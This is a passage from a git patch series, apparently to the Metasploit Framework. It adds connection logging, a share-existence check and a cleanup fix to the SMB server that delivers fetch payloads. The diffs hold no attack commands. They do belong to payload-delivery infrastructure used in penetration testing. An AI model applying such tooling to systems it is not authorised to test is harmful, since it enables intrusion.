Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 25 Jan 2024 12:52:22 -0500 Subject: [PATCH 08/10] Add the missing #on_client_connect method --- lib/msf/core/payload/adapter/fetch/server/smb.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/msf/core/payload/adapter/fetch/server/smb.rb b/lib/msf/core/payload/adapter/fetch/server/smb.rb index 165b532df7f5..a70a295fe2b2 100644 --- a/lib/msf/core/payload/adapter/fetch/server/smb.rb +++ b/lib/msf/core/payload/adapter/fetch/server/smb.rb @@ -64,5 +64,8 @@ def start_smb_fetch_handler(srvport, srvhost, srvuri, srvexe) fetch_service end + def on_client_connect(client) + vprint_status("Received SMB connection from #{client.peerhost}") + end end From 44916e67d51a98cf982679dd2d2ad92fc4837372 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 29 Jan 2024 16:55:25 -0500 Subject: [PATCH 09/10] Check if the SMB share exists before overwriting --- lib/msf/core/payload/adapter/fetch/server/smb.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/payload/adapter/fetch/server/smb.rb b/lib/msf/core/payload/adapter/fetch/server/smb.rb index a70a295fe2b2..a77470bb31b9 100644 --- a/lib/msf/core/payload/adapter/fetch/server/smb.rb +++ b/lib/msf/core/payload/adapter/fetch/server/smb.rb @@ -54,7 +54,12 @@ def start_smb_fetch_handler(srvport, srvhost, srvuri, srvexe) fetch_service = start_smb_server(srvport, srvhost) if fetch_service.nil? cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{Rex::Socket.to_authority(srvhost, srvport)}\n#{e}") + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{Rex::Socket.to_authority(srvhost, srvport)}") + end + + if fetch_service.shares.key?(share_name) + cleanup_smb_fetch_service(fetch_service) + fail_with(Msf::Exploit::Failure::BadConfig, "The specified SMB share '#{share_name}' already exists.") end @fetch_virtual_disk = RubySMB::Server::Share::Provider::VirtualDisk.new(share_name) From 7e5938061c5e98536119ab674fa8b4cf53f8ab06 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 Feb 2024 16:31:06 -0500 Subject: [PATCH 10/10] Fix a bug where clean up was not being invoked --- lib/msf/core/session_compatibility.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/session_compatibility.rb b/lib/msf/core/session_compatibility.rb index c57269f2a286..3ee14cb26443 100644 --- a/lib/msf/core/session_compatibility.rb +++ b/lib/msf/core/session_compatibility.rb @@ -74,7 +74,9 @@ def check_for_session_readiness(tries=6) # # Default cleanup handler does nothing # - def cleanup; end + def cleanup + super if defined?(super) + end # # Return the associated session or nil if there isn't one